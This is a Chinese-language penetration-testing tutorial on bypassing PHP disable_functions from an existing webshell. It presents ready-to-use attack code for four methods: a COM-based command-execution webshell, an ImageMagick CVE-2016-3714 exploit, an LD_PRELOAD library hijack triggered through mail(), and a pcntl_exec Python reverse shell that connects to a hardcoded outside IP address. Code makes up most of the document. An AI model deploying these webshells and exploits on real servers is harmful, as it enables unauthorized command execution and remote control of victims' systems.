PHP Webshell下绕过disable_function的方法
字数 922 2025-08-26 22:11:51
PHP Webshell下绕过disable_function的方法详解
前言
在渗透测试中,经常会遇到获得Webshell但无法执行命令或提权的情况,这是由于服务器配置了disable_function限制。本文总结了多种绕过disable_function限制的技术方法。
一、Windows COM组件绕过
适用条件
- PHP 5.4版本(高版本需手动添加扩展)
- php.ini中开启COM组件支持
利用代码
<?php
$command = $_GET['a'];
$wsh = new COM('WScript.shell'); // 生成COM对象,也可使用Shell.Application
$exec = $wsh->exec("cmd /c " . $command); // 调用对象方法执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
使用方法
- 将上述代码上传至目标服务器
- 通过GET参数a传递要执行的命令
二、利用ImageMagick漏洞绕过
适用条件
- 目标服务器安装了ImageMagick
- 存在CVE-2016-3714漏洞(Ghostscript漏洞)
利用代码
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
注意事项
- 此方法基于CVE-2016-3714漏洞
- 需要目标服务器ImageMagick版本存在漏洞
- 执行后会自动清理临时文件
三、利用LD_PRELOAD环境变量绕过
原理
LD_PRELOAD允许定义在程序运行前优先加载的动态链接库,可以覆盖正常函数库。
测试示例
- 创建测试程序a.c:
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <password>/n", argv[0]);
return 0;
}
if (!strcmp(passwd, argv[1])) {
printf("Correct Password!/n");
return 0;
}
printf("Invalid Password!/n");
}
编译: gcc a.c -o a
- 创建劫持库b.c:
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1, const char *s2){
printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
return 0;
}
编译: gcc -fPIC -shared b.c -o b.so
- 设置环境变量:
export LD_PRELOAD="./b.so"
结合mail函数实战利用
- 创建payload动态库a.c:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
FILE *fp = fopen("/tmp/2.txt", "w");
fclose(fp);
system("mkdir /var/www/html/test");
}
int geteuid(){
FILE *fp1 = fopen("/tmp/2.txt", "r");
if (fp1 != NULL) {
fclose(fp1);
return 552;
} else {
payload();
return 552;
}
}
编译:
gcc -c -fPIC a.c -o a
gcc -shared a -o a.so
- PHP利用代码:
<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("[email protected]", "", "", "", "");
?>
关键点
- mail函数会调用sendmail程序
- sendmail程序会调用geteuid等函数
- 通过LD_PRELOAD劫持这些函数调用
四、利用pcntl_exec突破限制
适用条件
- 安装pcntl扩展
- PHP 4 >= 4.2.0或PHP 5
利用代码
<?php
pcntl_exec("/usr/bin/python", array(
'-c',
'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("132.232.75.90",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
));
?>
功能
- 通过Python建立反向shell连接
- 可替换为其他反弹shell代码
总结
- Windows环境下优先尝试COM组件方法
- 存在ImageMagick时可尝试漏洞利用
- Linux环境下LD_PRELOAD方法通用性较强
- 安装pcntl扩展时可尝试直接执行程序
每种方法都有其适用场景和限制条件,实际渗透中需要根据目标环境选择合适的方法。